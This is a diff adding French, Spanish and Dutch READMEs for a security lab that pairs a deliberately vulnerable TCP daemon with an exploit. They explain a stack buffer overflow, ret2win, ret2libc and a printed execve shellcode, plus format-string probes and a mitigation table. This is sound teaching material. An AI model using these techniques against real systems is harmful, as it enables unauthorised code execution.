|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Experimentar con ello
|
||||||
|
|
||||||
|
Cosas que merece la pena probar, más o menos en el orden en que más aprendes de
|
||||||
|
ellas:
|
||||||
|
|
||||||
|
1. **Cambia `FOOD_BUFSZ` a 128.** Vuelve a ejecutar `fooc`. Debería seguir
|
||||||
|
funcionando sin cambios, porque lee el offset del desensamblado. Luego
|
||||||
|
rómpelo a mano — hardcodea 88 — y míralo crashear. Después añade un segundo
|
||||||
|
array entre `buf` y los registros guardados, y mira cómo lo gestiona el
|
||||||
|
reconocimiento automático.
|
||||||
|
|
||||||
|
2. **Añade `-Wformat-security` y mira qué hace el camino de cadena de
|
||||||
|
formato.** Envía `%p %p %p %n` y mira a `food` fugando la pila.
|
||||||
|
|
||||||
|
3. **Usa gdb.** `make debug`, luego:
|
||||||
|
```gdb
|
||||||
|
(gdb) break food.c:393 # el read() que se desborda
|
||||||
|
(gdb) run -p 2342
|
||||||
|
(gdb) info registers rsp rbp
|
||||||
|
(gdb) x/24gx $rsp # observa dónde está la dirección de retorno
|
||||||
|
(gdb) c # en otra terminal: ./fooc -t ret2win
|
||||||
|
```
|
||||||
|
El handler de SIGSEGV registra `REG_RIP` y `REG_RSP`, así que `food.log` te
|
||||||
|
dice si la toma de control aterrizó, incluso cuando el hijo muere antes de
|
||||||
|
que puedas adjuntarte.
|
||||||
|
|
||||||
|
4. **Borra el fix de alineación** en `fooc.c` y mira el error `#GP` con la
|
||||||
|
firma `si_addr = 0`. Luego lee `/proc/sys/kernel/randomize_va_space` y
|
||||||
|
piensa qué randomiza ASLR y qué no.
|
||||||
|
|
||||||
|
5. **Rompe la resolución de símbolos de libc** y mira cómo se adapta `fooc`.
|
||||||
|
Todo el punto del enfoque `/proc/self/maps` es que ningún offset está
|
||||||
|
hardcodeado.
|
||||||
|
|
||||||
|
6. **Escribe una cuarta técnica.** Una cadena tipo `ret2csu` si puedes
|
||||||
|
encontrar `__libc_csu_init`, o una cadena SROP (los marcos `sigreturn` te
|
||||||
|
dejan controlar todos los registros a la vez). Ambas son ROP puro y no
|
||||||
|
necesitan memoria ejecutable.
|
||||||
|
|
||||||
|
7. **Arregla `food.c` de verdad**, un error a la vez, y vuelve a ejecutar el
|
||||||
|
exploit después de cada fix. El orden de la tabla al inicio de `food.c` es
|
||||||
|
más o menos el orden correcto en que pensar: limita primero el read, porque
|
||||||
|
nada más importa hasta que el bug desaparece.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Limpieza
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make stop # detiene food
|
||||||
|
make clean # elimina los productos de compilación; deja food.log en paz
|
||||||
|
pkill -x sh # solo si tienes shells sueltos de una prueba que salió mal
|
||||||
|
```
|
||||||
|
|
||||||
|
Nota: `pkill -x food` coincide exactamente con el **nombre** del proceso. No
|
||||||
|
uses `pkill -f ./food` — ese patrón también coincide con el shell donde lo
|
||||||
|
escribes y mata tu propia sesión. No es una hipótesis; ocurrió mientras se
|
||||||
|
construía este laboratorio.
|
||||||
434
README.FR.md
Normal file
434
README.FR.md
Normal file
|
|
@ -0,0 +1,434 @@
|
||||||
|
# food / fooc — un débordement de tampon de pile, des deux côtés
|
||||||
|
|
||||||
|
Un laboratoire de sécurité en C99 en deux moitiés :
|
||||||
|
|
||||||
|
- **`food.c`** — un démon TCP volontairement vulnérable. Il contient un vrai
|
||||||
|
débordement de tampon de pile, digne d'un manuel (CWE-120), plus quelques
|
||||||
|
bugs en prime.
|
||||||
|
- **`fooc.c`** — un exploit contre lui. Il calcule l'offset du débordement en
|
||||||
|
désassemblant le programme cible à l'exécution, lit les fuites d'adresses du
|
||||||
|
démon et obtient un shell sur la « victime » en écrasant une adresse de
|
||||||
|
retour sauvegardée.
|
||||||
|
|
||||||
|
Le but n'est pas le shell. Le but est que vous puissiez suivre de bout en bout
|
||||||
|
comment un bug de sécurité mémoire devient une exécution de code arbitraire —
|
||||||
|
puis voir exactement quelles contre-mesures arrêtent chaque maillon de cette
|
||||||
|
chaîne. Chaque ligne des deux programmes est commentée, parce que le mécanisme
|
||||||
|
est la leçon.
|
||||||
|
|
||||||
|
```
|
||||||
|
votre terminal
|
||||||
|
|
|
||||||
|
./fooc (exploit)
|
||||||
|
|
|
||||||
|
TCP 127.0.0.1:2342
|
||||||
|
|
|
||||||
|
./food (démon vulnérable)
|
||||||
|
|
|
||||||
|
fork() -> vulnerable_handler() -> overflow -> ret -> votre code
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ Lisez ceci d'abord
|
||||||
|
|
||||||
|
**`food` est un service réseau volontairement cassé. Il ne se lie qu'à
|
||||||
|
`127.0.0.1`, et cette valeur par défaut est volontaire — laissez-la.**
|
||||||
|
|
||||||
|
- Ne l'exécutez **pas** sur une machine à laquelle vous tenez, ni sur quelque
|
||||||
|
chose qui contient des données.
|
||||||
|
- Ne le liez **pas** à `0.0.0.0` ou à une vraie interface réseau. Il est
|
||||||
|
volontairement exploitable à distance.
|
||||||
|
- Pointer `fooc` vers une machine que vous ne possédez pas ou que vous n'avez
|
||||||
|
pas l'autorisation écrite de tester est une infraction informatique dans la
|
||||||
|
plupart des juridictions — y compris en vertu de l'UK Computer Misuse Act et
|
||||||
|
de l'US Computer Fraud and Abuse Act.
|
||||||
|
- Il se lie à un port non privilégié (>1024), donc pas besoin de root. Ne
|
||||||
|
l'« améliorez » pas en ajoutant des capabilities ou en l'exécutant comme
|
||||||
|
service système.
|
||||||
|
- Chaque connexion est traitée dans un enfant `fork()`, et `food` les reape,
|
||||||
|
donc les crashs ne s'accumulent pas. Si vous retrouvez ensuite des dizaines
|
||||||
|
de `sh` qui traînent, `pkill -x sh` est le nettoyage.
|
||||||
|
|
||||||
|
En cas de doute : ce lab est fait pour une machine virtuelle ou un conteneur,
|
||||||
|
sur un réseau que vous contrôlez, sur une machine sans rien que vous
|
||||||
|
regretteriez.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Démarrage rapide
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make # compile food, fooc et les harnesses de test
|
||||||
|
make run # démarre food sur 127.0.0.1:2342, détaché en arrière-plan
|
||||||
|
make test # exécute les trois techniques d'exploit
|
||||||
|
make stop # arrête le démon
|
||||||
|
```
|
||||||
|
|
||||||
|
Ensuite, à la main :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./fooc -t leak # regardez les fuites d'adresses que food divulgue
|
||||||
|
./fooc -t demo -v # envoyez du bourrage ; voyez food mourir d'un SIGSEGV
|
||||||
|
./fooc -t ret2win -i # sautez vers une fonction qui existe déjà -> shell
|
||||||
|
```
|
||||||
|
|
||||||
|
### Prérequis
|
||||||
|
|
||||||
|
| Outil | Pour quoi | Remarques |
|
||||||
|
|---|---|---|
|
||||||
|
| `gcc` (ou clang) | compilation | C99. Testé avec gcc 16.2 |
|
||||||
|
| `objdump` | `fooc` | binutils. `fooc` l'appelle à l'exécution |
|
||||||
|
| `nasm` | `make verify` | uniquement pour recouper la shellcode ; ignoré s'il manque |
|
||||||
|
| `gdb` | `make debug` | optionnel |
|
||||||
|
| Linux, x86-64 | les deux | la payload et la chasse aux gadgets dépendent de l'architecture |
|
||||||
|
|
||||||
|
`fooc` a aussi besoin de `-ldl` pour `dlsym()` ; le Makefile s'en charge.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Le bug
|
||||||
|
|
||||||
|
Une ligne dans `food.c` est toute la surface d'attaque :
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[FOOD_BUFSZ]; /* 64 octets */
|
||||||
|
n = read(fd, buf, FOOD_READMAX); /* jusqu'à 512 octets depuis le réseau */
|
||||||
|
```
|
||||||
|
|
||||||
|
64 octets de destination, 512 acceptés. L'attaquant écrit 448 octets au-delà
|
||||||
|
de la fin du tampon, et comme la pile croît vers le bas, « au-delà de la fin »
|
||||||
|
signifie « dans le cadre au-dessus » — et c'est exactement là que se trouvent
|
||||||
|
le pointeur de trame sauvegardé et l'**adresse de retour sauvegardée**.
|
||||||
|
|
||||||
|
Dans une fonction x86-64 compilée à `-O0` :
|
||||||
|
|
||||||
|
```
|
||||||
|
adresses hautes
|
||||||
|
+------------------------+ rbp + 16 : locales de l'appelant
|
||||||
|
| ... |
|
||||||
|
+------------------------+ rbp + 8 : ADRESSE DE RETOUR SAUVEGARDÉE <-- devient RIP
|
||||||
|
| saved rbp (8 bytes) |
|
||||||
|
+------------------------+ rbp : notre pointeur de trame
|
||||||
|
| line[128] |
|
||||||
|
| buf[64] | <- rsp : ce que read() remplit
|
||||||
|
+------------------------+
|
||||||
|
adresses basses
|
||||||
|
```
|
||||||
|
|
||||||
|
Quand la fonction retourne, `leave; ret` pousse les 8 octets dans `RIP`, et le
|
||||||
|
CPU saute là où l'attaquant l'a décidé. Tout le reste dans ce lab est de
|
||||||
|
l'arithmétique sur où pointer.
|
||||||
|
|
||||||
|
Pour cette compilation, les chiffres sont : `buf` fait 64 octets, le `rbp`
|
||||||
|
sauvegardé fait 8, donc l'adresse de retour est à l'offset **88** du début de
|
||||||
|
`buf`. `fooc` ne hardcode pas ça — il désassemble `food` et trouve le
|
||||||
|
`lea -0x50(%rbp)` devant `call read@plt`, donc ça continue de marcher si vous
|
||||||
|
changez `FOOD_BUFSZ`.
|
||||||
|
|
||||||
|
> gcc vous le dit déjà. Compiler `food` affiche :
|
||||||
|
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
|
||||||
|
> destination [-Wstringop-overflow=]`. N'étouffez jamais cet avertissement
|
||||||
|
> dans du vrai code. C'est de la sécurité gratuite.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Les trois techniques
|
||||||
|
|
||||||
|
`fooc -t <technique>`. Elles sont dans l'ordre où un vrai attaquant s'y
|
||||||
|
prendrait, parce que chacune a besoin de ce que la précédente vous a appris.
|
||||||
|
|
||||||
|
### 1. `ret2win` — contrôlez le pointeur d'instruction
|
||||||
|
|
||||||
|
```
|
||||||
|
[ 88 octets de bourrage ][ l'adresse du win() de food ]
|
||||||
|
^ saved rbp
|
||||||
|
^ devient RIP
|
||||||
|
```
|
||||||
|
|
||||||
|
`win()` est une fonction du programme cible qui exec `/bin/sh`. Écraser
|
||||||
|
l'adresse de retour avec son adresse, c'est tout l'exploit.
|
||||||
|
|
||||||
|
**Ce que ça apprend :** vous avez un contrôle arbitraire du pointeur
|
||||||
|
d'instruction. Pas besoin de fuite non plus, car le binaire est compilé avec
|
||||||
|
`-no-pie`, donc `win()` est à une adresse fixe pour toujours.
|
||||||
|
|
||||||
|
**L'équivalent dans le monde réel** n'est pas « les attaques sont faciles »,
|
||||||
|
mais « ne livrez pas de portes dérobées non documentées dans des binaires
|
||||||
|
réseau ». S'il existe une fonction comme `win()` dans votre binaire, un
|
||||||
|
débordement de tampon la trouvera. C'est littéralement la classe des CVE de
|
||||||
|
backdoor Juniper ScreenOS.
|
||||||
|
|
||||||
|
**Défense :** `-fPIE` (ou ASLR) randomise l'adresse de chargement, donc
|
||||||
|
l'attaquant doit connaître l'adresse — ce qui signifie en pratique qu'il lui
|
||||||
|
faut d'abord une fuite. C'est pourquoi `ret2win` échoue contre
|
||||||
|
`food_hardened`.
|
||||||
|
|
||||||
|
### 2. `ret2libc` — appelez n'importe quoi, par son nom
|
||||||
|
|
||||||
|
```
|
||||||
|
[ bourrage ][ pop rdi; ret ][ adresse de "/bin/sh" ][ adresse de system() ]
|
||||||
|
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
|
||||||
|
met rdi la chaîne à envoyer la fonction à appeler
|
||||||
|
```
|
||||||
|
|
||||||
|
À l'exécution : `ret` pousse `pop rdi; ret` dans RIP ; ça pousse le pointeur
|
||||||
|
`"/bin/sh"` dans `RDI` ; son `ret` pousse `system()` dans RIP, pendant que
|
||||||
|
`RDI` tient toujours la chaîne. `system("/bin/sh")` s'exécute.
|
||||||
|
|
||||||
|
Les gadgets (`pop rdi; ret`) ne sont pas dans `food` — cette glibc n'a pas de
|
||||||
|
`__libc_csu_init` — donc `fooc` les trouve en scannant la mémoire live de la
|
||||||
|
libc à la recherche de la paire d'octets `5f c3`. Il localise la libc via
|
||||||
|
`/proc/self/maps`, trouve les offsets de `system` et `"/bin/sh"` avec
|
||||||
|
`dlsym()` et calcule la base à partir de la fuite que `food` divulgue. Rien
|
||||||
|
n'est hardcodé, donc ça survit à une mise à jour de la libc.
|
||||||
|
|
||||||
|
**Ce que ça apprend :** une fois que vous contrôlez `RIP`, vous pouvez
|
||||||
|
enchaîner des instructions *existantes*. C'est la programmation orientée
|
||||||
|
retour (return-oriented programming), et c'est à ça que ressemblent presque
|
||||||
|
tous les vrais exploits, parce que ça ne nécessite pas de mémoire exécutable
|
||||||
|
fournie par l'attaquant.
|
||||||
|
|
||||||
|
**Défense :** aucun des flags du compilateur ne l'arrête seul. Ça marche
|
||||||
|
contre un binaire PIE, avec NX, avec canary — tant que l'attaquant a une
|
||||||
|
fuite. Les défenses sont « n'ayez pas le débordement » et « ne fuytez pas
|
||||||
|
d'adresses ». Voir le tableau ci-dessous.
|
||||||
|
|
||||||
|
### 3. `shellcode` — exécutez votre propre code machine
|
||||||
|
|
||||||
|
23 octets, placés au début du tampon, avec `RIP` pointant dessus :
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor esi, esi ; envp = NULL
|
||||||
|
xor edx, edx ; argv = NULL
|
||||||
|
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" en 8 octets bruts
|
||||||
|
push rdi ; dépose la chaîne sur la pile
|
||||||
|
mov rdi, rsp ; rdi = &"/bin/sh"
|
||||||
|
push 0x3b ; 59 = __NR_execve
|
||||||
|
pop rax
|
||||||
|
syscall ; nous voilà un shell
|
||||||
|
```
|
||||||
|
|
||||||
|
C'est la forme la plus pure du bug : l'attaquant fournit les *instructions*,
|
||||||
|
pas seulement l'adresse d'instructions qui existent déjà. Aucun offset de
|
||||||
|
libc nécessaire, donc ça marche en principe contre une cible statiquement
|
||||||
|
liée, entièrement randomisée.
|
||||||
|
|
||||||
|
`make verify` assemble `shellcode.S` et le diff contre le tableau d'octets
|
||||||
|
intégré dans `fooc.c`, pour que les deux ne puissent pas diverger.
|
||||||
|
|
||||||
|
**Défense :** **NX** (aussi appelé W^X, « no execute »). Marquer la pile comme
|
||||||
|
non exécutable fait que le matériel refuse d'y chercher des instructions, et
|
||||||
|
le `ret` atterrit sur une page qui ne peut pas tourner. C'est pourquoi
|
||||||
|
`make food` passe `-z execstack` : une pile Linux normale est `rw-p`, pas
|
||||||
|
`rwx`, et la technique meurt d'un SIGSEGV à `RIP = l'adresse de la payload`.
|
||||||
|
La leçon la plus importante du lab est que chacun de ces octets ne fonctionne
|
||||||
|
que parce qu'on a dit au compilateur de rendre la pile exécutable. Ce flag est
|
||||||
|
activé pour le bien de personne.
|
||||||
|
|
||||||
|
### Aussi inclus
|
||||||
|
|
||||||
|
| Mode | Ce qu'il fait |
|
||||||
|
|---|---|
|
||||||
|
| `-t leak` | se connecte, affiche les fuites, n'envoie rien |
|
||||||
|
| `-t demo` | envoie `rip_off + 8` octets de `0x41`, donc `RIP` devient `0x4141...` et le démon meurt. Prouve le bug sans aucune connaissance d'adresse |
|
||||||
|
| `-t sled` | un ret-sled, conservé volontairement comme exemple **échec**. Sans fuite, vous brute-foreeriez ASLR en remplissant le tampon avec l'adresse d'un `ret`. Impossible ici : `food` accepte 512 octets, donc le sled a ~53 emplacements contre ~28 bits d'entropie. Implémenté pour que vous puissiez le voir échouer et confirmer que le mécanisme est vraiment « le CPU suit une chaîne de rets » |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Le tableau des contre-mesures
|
||||||
|
|
||||||
|
C'est la partie à retenir. Chaque ligne est une vraie défense, et la colonne
|
||||||
|
de droite montre ce qu'elle fait réellement à la chaîne des événements.
|
||||||
|
|
||||||
|
| Contre-mesure | Comment l'activer | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **Limitez read** | `n = read(fd, buf, sizeof buf - 1);` | **Tout.** Le bug n'existe pas, donc rien en aval n'a d'importance | Rien — c'est le seul correctif complet |
|
||||||
|
| **Canary de pile** | `-fstack-protector-strong` (par défaut chez gcc) | Le `ret` : la canary est vérifiée à la sortie de la fonction, la corruption est donc détectée et le processus abort avant que `RIP` soit poussé | Un bug dans une fonction *sans* tableau (rien à protéger) ; un débordement qui reste sous la canary ; tout ce qui ne retourne pas normalement |
|
||||||
|
| **NX / W^X** | `-z noexecstack` (la valeur par défaut) | La shellcode. Les instructions de la payload ne peuvent pas être cherchées | ret2win et ret2libc complètement. C'est *la raison* pour laquelle ROP existe |
|
||||||
|
| **PIE + ASLR** | `-fPIE` + ASLR=2 (tous deux par défaut) | Les adresses hardcodées de ret2win. Tout bouge à chaque exécution | Tout ce où l'attaquant a une fuite. ASLR augmente le prix d'un exploit ; ce n'est pas un correctif. Notez que la pile, le tas et mmap sont randomisés, mais pas le *contenu* du binaire principal — c'est ce que les chaînes ROP utilisent |
|
||||||
|
| **Ne fuytez rien** | aucun `printf("%p")` vers les clients ; initialisez avant d'afficher | La fuite d'information qui rend ASLR « gratuit » au lieu de « cher » | — |
|
||||||
|
| **N'utilisez pas `printf(user_data)`** | `printf("%s", buf)` au lieu de `printf(buf)` | Les bugs de chaîne de format : lectures de pile `%x`, écritures arbitraires `%n` — une *autre* voie vers RCE | — |
|
||||||
|
| **N'utilisez pas de chemins non fiables** | validez et `openat()` sous un répertoire fixe | Traversal de chemin (CWE-22) | — |
|
||||||
|
| **CET / shadow stack** | `-fcf-protection=full`, support noyau et CPU | Le `ret` lui-même : la shadow stack mémorise la *vraie* adresse de retour et fault en cas de mismatch. Attrape les chaînes ROP qui utilisent le `ret` matériel | Les attaques qui ne `ret` jamais (call-oriented, ou écraser la cible d'un pointeur de fonction avec une chaîne de gadgets qui n'a pas besoin de retour) |
|
||||||
|
| **Langages sûrs** | Rust, Go, C# pour le nouveau code | Toute la classe. Les vérifications de bornes sont imposées à l'exécution, pas espérées à la revue | — |
|
||||||
|
|
||||||
|
### Voyez par vous-même
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make run # démon vulnérable
|
||||||
|
make test # les trois techniques fonctionnent
|
||||||
|
|
||||||
|
make test-hardened # même code source, contre-mesures activées
|
||||||
|
```
|
||||||
|
|
||||||
|
`test-hardened` compile `food_hardened` avec `-fstack-protector-strong -fPIE
|
||||||
|
-pie -z noexecstack`, l'échange, rejoue les trois techniques puis remet la
|
||||||
|
version vulnérable en place. Vous verrez :
|
||||||
|
|
||||||
|
```
|
||||||
|
### stack segment: 'rw-p' (NOT executable) is what you want to see
|
||||||
|
--- ret2win was stopped by the mitigations (as expected)
|
||||||
|
--- ret2libc was stopped by the mitigations (as expected)
|
||||||
|
--- shellcode was stopped by the mitigations (as expected)
|
||||||
|
```
|
||||||
|
|
||||||
|
Et dans le log du démon durci, la canary qui se déclenche :
|
||||||
|
|
||||||
|
```
|
||||||
|
*** stack smashing detected ***: terminated
|
||||||
|
```
|
||||||
|
|
||||||
|
Lisez bien, car c'est la ligne la plus importante de tout le lab : **la canary
|
||||||
|
a attrapé ret2win, pas PIE.** Les trois techniques meurent à la canary, parce
|
||||||
|
que les trois passent par le même `read()` et écrasent le même cadre. NX
|
||||||
|
n'arrête en plus que le *code* de la shellcode ; PIE ne casse en plus que
|
||||||
|
l'adresse hardcodée. Activez-les une par une, et vous découvrirez que la
|
||||||
|
plupart des contre-mesures isolées vous laissent exposé à quelque chose.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Fichiers
|
||||||
|
|
||||||
|
| Fichier | Rôle |
|
||||||
|
|---|---|
|
||||||
|
| `food.c` | le démon vulnérable. 6 bugs numérotés, chacun avec son correctif en commentaire |
|
||||||
|
| `fooc.c` | l'exploit. Reconnaissance d'offset par objdump, reconnaissance de la libc via `/proc`, 4 constructeurs de payload |
|
||||||
|
| `shellcode.S` | les 23 octets de shellcode en assembly, pour être lisibles et vérifiables. `fooc` les embarque en ligne et n'en a pas besoin à l'exécution |
|
||||||
|
| `Makefile` | compile, teste et la comparaison durcie |
|
||||||
|
| `tests/pty_test.c` | conduit `fooc` à travers un pseudo-terminal et vérifie une vraie sortie de shell |
|
||||||
|
| `tests/sock_test.c` | vérificateur indépendant sur une socket brute, pour que le résultat ne dépende pas de `fooc` |
|
||||||
|
| `food.log` | le log du démon. Votre preuve de ce qui s'est passé |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Deux bugs de ce lab qui valent la peine d'être compris
|
||||||
|
|
||||||
|
Ce ne sont pas les bugs du programme cible. Ce sont des bugs de l'exploit et
|
||||||
|
de sa harnesse de test, et les deux ont produit des mensonges convaincants.
|
||||||
|
Ils sont documentés dans la source où ils vivent ; ils sont ici parce que les
|
||||||
|
schémas d'échec sont instructifs.
|
||||||
|
|
||||||
|
### Alignement de pile : le crash qui n'est pas une déréférence NULL
|
||||||
|
|
||||||
|
**Symptôme.** L'overtake atterrit correctement — `gdb` vous montre dans
|
||||||
|
`win()` — et puis la toute première chose que fait `win()`, un `dprintf()`,
|
||||||
|
meurt. Le handler SIGSEGV rapporte `RIP` profond dans le formatter de glibc
|
||||||
|
et une adresse d'erreur de `(nil)`, ce qui ressemble exactement à un pointeur
|
||||||
|
corrompu.
|
||||||
|
|
||||||
|
**Cause.** L'ABI System V AMD64 exige un alignement de pile de 16 octets. Un
|
||||||
|
`ret` normal restaure `%rsp` exactement comme le `call` correspondant l'avait
|
||||||
|
stocké, donc l'invariant est préservé gratuitement. Notre `ret` nu ne le fait
|
||||||
|
pas : après lui, `%rsp = buf + rip_off`. Ici, `buf` est aligné sur 16 octets
|
||||||
|
et `rip_off` vaut 88, donc le callee reçoit une pile à 8 mod 16. glibc est
|
||||||
|
compilé avec SSE2, et `movaps` **fault** sur un opérande mal aligné. Sur
|
||||||
|
x86, ça soulève `#GP`, pas `#PF`, donc le noyau n'a pas d'adresse d'erreur et
|
||||||
|
rapporte `si_addr = 0`. Ce NULL est l'indice : une erreur d'alignement
|
||||||
|
déguisée en déréférence NULL.
|
||||||
|
|
||||||
|
**Correctif.** Un gadget `ret` *à l'offset `rip_off`*, qui décale la vraie
|
||||||
|
cible de 8 octets, parce que chaque `ret` ajoute exactement 8 à `%rsp`.
|
||||||
|
L'ordre est critique : une version précédente collait le `ret` *après* la
|
||||||
|
cible et produisait `[ padding | target | ret ]`, où le `ret` final n'est
|
||||||
|
jamais atteint et le correctif ne fait silencieusement rien. Un `ret` égaré
|
||||||
|
qui ressemble à un bug est presque toujours intentionnel.
|
||||||
|
|
||||||
|
### Une socket, deux lecteurs : l'octet disparu
|
||||||
|
|
||||||
|
**Symptôme.** La shellcode était rapportée comme fonctionnant. Puis la harness
|
||||||
|
pty a été durcie (désactivation de `ECHO`, pour que le terminal arrête de
|
||||||
|
s'échoir sa propre ligne de commande), et la technique a commencé à échouer.
|
||||||
|
Plus profondément, chaque technique perdait exactement un octet au début de
|
||||||
|
chaque morceau de sortie : `uid=1000(hanez)` était affiché comme
|
||||||
|
`id=1000(hanez)`, `PWNED-OK` comme `WNED-OK`, `Linux 7.2.7` comme
|
||||||
|
`inux 7.2.7`.
|
||||||
|
|
||||||
|
**Cause.** `fooc` faisait un `dup2()` de la socket sur son propre stdin/stdout
|
||||||
|
et un `execv()` d'un `/bin/sh` *local*, pendant qu'un enfant relay forké
|
||||||
|
lisait aussi la même socket pour déplacer la sortie vers le terminal. Le
|
||||||
|
noyau se moque que les deux coopèrent. Une socket stream a **une** curseur de
|
||||||
|
lecture, et chaque lecteur la déplace, donc les octets sont répartis entre eux
|
||||||
|
de façon imprévisible. Le shell local — un shell de connexion interactif —
|
||||||
|
lisait exactement un octet et le jetait, à chaque fois. `strace -f` l'a montré
|
||||||
|
immédiatement :
|
||||||
|
|
||||||
|
```
|
||||||
|
read(0, "u", 1) <- le shell local, mange un octet
|
||||||
|
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- le relay, 1 octet de trop court
|
||||||
|
```
|
||||||
|
|
||||||
|
**Correctif.** Il n'y a aucun shell de ce côté-ci, point. Il y a exactement un
|
||||||
|
shell dans tout le tableau, et il est sur la victime, dans le processus
|
||||||
|
détourné, avec la connexion TCP comme stdin/stdout. Ce côté ne fait que
|
||||||
|
déplacer des octets. Si vous avez un jour besoin de deux consommateurs d'un
|
||||||
|
flux, ce flux a besoin d'un lecteur unique qui le démultiplexe délibérément.
|
||||||
|
|
||||||
|
**La meta-leçon.** Le premier résultat « fonctionnel » était un faux positif,
|
||||||
|
produit par le fait que le pty s'échoit sa propre ligne de commande, et le
|
||||||
|
correctif de ce faux positif est ce qui a révélé le vrai bug. Des tests qui ne
|
||||||
|
peuvent pas échouer sont pires que pas de tests, parce qu'ils transforment « je
|
||||||
|
ne sais pas » en « ça marche ». Une harnesse de test mérite la même suspicion
|
||||||
|
que le code qu'elle teste.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bidouiller dessus
|
||||||
|
|
||||||
|
Des choses qui valent le coup d'essayer, à peu près dans l'ordre où vous en
|
||||||
|
apprenez le plus :
|
||||||
|
|
||||||
|
1. **Changez `FOOD_BUFSZ` en 128.** Relancez `fooc`. Ça devrait continuer de
|
||||||
|
marcher sans modification, parce qu'il lit l'offset dans le désassemblage.
|
||||||
|
Cassez-le ensuite à la main — hardcodez 88 — et voyez-le crasher. Ajoutez
|
||||||
|
puis un deuxième tableau entre `buf` et les registres sauvegardés, et voyez
|
||||||
|
la reconnaissance automatique s'en charger.
|
||||||
|
|
||||||
|
2. **Ajoutez `-Wformat-security` et voyez ce que fait le chemin de chaîne de
|
||||||
|
format.** Envoyez `%p %p %p %n` et voyez `food` fuyter la pile.
|
||||||
|
|
||||||
|
3. **Utilisez gdb.** `make debug`, puis :
|
||||||
|
```gdb
|
||||||
|
(gdb) break food.c:393 # le read() qui déborde
|
||||||
|
(gdb) run -p 2342
|
||||||
|
(gdb) info registers rsp rbp
|
||||||
|
(gdb) x/24gx $rsp # remarquez où se trouve l'adresse de retour
|
||||||
|
(gdb) c # dans un autre terminal : ./fooc -t ret2win
|
||||||
|
```
|
||||||
|
Le handler SIGSEGV journalise `REG_RIP` et `REG_RSP`, donc `food.log` vous
|
||||||
|
dit si l'overtake a atterri, même quand l'enfant meurt avant que vous
|
||||||
|
puissiez vous attacher.
|
||||||
|
|
||||||
|
4. **Supprimez le correctif d'alignement** dans `fooc.c` et voyez l'erreur
|
||||||
|
`#GP` avec la signature `si_addr = 0`. Lisez ensuite
|
||||||
|
`/proc/sys/kernel/randomize_va_space` et réfléchissez à ce qu'ASLR
|
||||||
|
randomise, et à ce qu'il ne randomise pas.
|
||||||
|
|
||||||
|
5. **Cassez la résolution de symboles de la libc** et voyez `fooc`
|
||||||
|
s'adapter. Tout l'intérêt de l'approche `/proc/self/maps` est qu'aucun
|
||||||
|
offset n'est hardcodé.
|
||||||
|
|
||||||
|
6. **Écrivez une quatrième technique.** Une chaîne de type `ret2csu` si vous
|
||||||
|
trouvez `__libc_csu_init`, ou une chaîne SROP (les cadres `sigreturn`
|
||||||
|
vous laissent contrôler tous les registres d'un coup). Les deux sont du ROP
|
||||||
|
pur et n'ont besoin d'aucune mémoire exécutable.
|
||||||
|
|
||||||
|
7. **Corrigez `food.c` proprement**, un bug à la fois, et relancez l'exploit
|
||||||
|
après chaque correctif. L'ordre du tableau en haut de `food.c` est à peu
|
||||||
|
près le bon ordre de pensée : limitez d'abord le read, car rien d'autre
|
||||||
|
n'importe tant que le bug n'est pas parti.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Nettoyage
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make stop # arrête food
|
||||||
|
make clean # supprime les produits de compilation ; laisse food.log tranquille
|
||||||
|
pkill -x sh # seulement si vous avez des shells qui traînent d'un test raté
|
||||||
|
```
|
||||||
|
|
||||||
|
Notez : `pkill -x food` matche le **nom** du processus exactement. N'utilisez
|
||||||
|
pas `pkill -f ./food` — ce motif matche aussi le shell dans lequel vous le
|
||||||
|
tapez et tue votre propre session. Ce n'est pas une hypothèse ; c'est arrivé
|
||||||
|
pendant la construction de ce lab.
|
||||||
424
README.NL.md
Normal file
424
README.NL.md
Normal file
|
|
@ -0,0 +1,424 @@
|
||||||
|
# food / fooc — een stack-bufferoverloop, van beide kanten
|
||||||
|
|
||||||
|
Een C99-beveiligingslab in twee helften:
|
||||||
|
|
||||||
|
- **`food.c`** — een bewust kwetsbare TCP-daemon. Hij heeft een echte,
|
||||||
|
schoolboekachtige stack-bufferoverloop (CWE-120), plus een paar bugs
|
||||||
|
extra.
|
||||||
|
- **`fooc.c`** — een exploit daarvoor. Hij berekent de overflow-offset door
|
||||||
|
het doelprogramma tijdens het draaien te disassembleren, leest
|
||||||
|
adres-leaks van de daemon en krijgt een shell op het "slachtoffer" door
|
||||||
|
een opgeslagen retouradres te overschrijven.
|
||||||
|
|
||||||
|
Het punt is niet de shell. Het punt is dat je van begin tot eind kunt volgen hoe
|
||||||
|
een geheugenveiligheidsbug uitgroeit tot willekeurige code-uitvoering — en
|
||||||
|
daarna precies ziet welke tegenmaatregelen elke stap in die keten stoppen.
|
||||||
|
Elke regel in beide programma's is gecommentarieerd, want het mechanisme is de
|
||||||
|
les.
|
||||||
|
|
||||||
|
```
|
||||||
|
jouw terminal
|
||||||
|
|
|
||||||
|
./fooc (exploit)
|
||||||
|
|
|
||||||
|
TCP 127.0.0.1:2342
